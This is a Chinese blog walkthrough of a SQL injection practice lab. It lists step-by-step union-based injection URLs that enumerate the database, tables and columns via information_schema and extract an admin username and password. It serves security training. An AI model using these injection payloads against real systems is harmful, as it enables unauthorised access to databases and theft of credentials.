SQL注入靶场_辛巴猫舍

漏洞地址:http://inject1.lab.aqlab.cn:8003/index.php?id=1
漏洞类型:SQL注入
漏洞分析:常规and 1=1和 and 1=2判断该页面是否存在注入点,发现存在后开始以下操作。
1.首先我们查一下该数据库有几行,将id=1分别换为2,3,4进行测试,发现到id=4时页面不再显示。

http://inject1.lab.aqlab.cn:8003/index.php?id=4


2.查字段,利用order by来查询字段数,即有几列的内容。输入order by 1和order by 2时页面正常,到order by 3的时候页面显示异常,由此可以得到字段数为2

http://inject1.lab.aqlab.cn:8003/index.php?id=1  order by 3


3.寻找回显点,构造?id=4 union select 1,2 发现下面显示的是数字 “2” 说明在返显点在数字2的位置

http://inject1.lab.aqlab.cn:8003/index.php?id=4 ? union select 1,2


4.查库名,利用select database()输出数据库名字,得到库名为maoshe

http://inject1.lab.aqlab.cn:8003/index.php?id=4 union select 1,database()


5.查表名,利用数据库自带表information_schema来查询存储在表里的数据信息。得到表名为admin

http://inject1.lab.aqlab.cn:8003/index.php?id=4 union select 1, table_name from information_schema.tables where table_schema = database()


6.查字段,利用column_name在自带表information_schema中存储的信息查询,可以看到第一个字段为Id

http://inject1.lab.aqlab.cn:8003/index.php?id=4 union select 1, column_name from information_schema.columns where table_name = 'admin' and table_schema=database()


我们利用 limit 分页查询语句,指定查询结果从哪条记录开始显示,显示多少条记录,可以得出字段名有Id,username,password三个。

http://inject1.lab.aqlab.cn:8003/index.php?id=4 union select 1, column_name from information_schema.columns where table_name = 'admin' and table_schema=database() limit 1,1

http://inject1.lab.aqlab.cn:8003/index.php?id=4 union select 1, column_name from information_schema.columns where table_name = 'admin' and table_schema=database() limit 2,1


7.现在我们得到了字段名,表名以及数据库名,那么下一步我们就去查询字段内容来获取想要的信息
可以查到用户名为admin

http://inject1.lab.aqlab.cn:8003/index.php?id=4 union select 1, username from admin


密码为 hellohack

http://inject1.lab.aqlab.cn:8003/index.php?id=4 union select 1, password from admin


注:可能有的人喜欢用GROUP_CONCAT 函数,即通过,间隔将多行数据进行整合在一行输出,虽然不用limit去一个一个的查询,但是有的站输出点是由长度限制的,所以会出现输出不完整的情况,在此建议大家习惯利用limit分页查询来输出。

  • 20
    点赞
  • 8
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值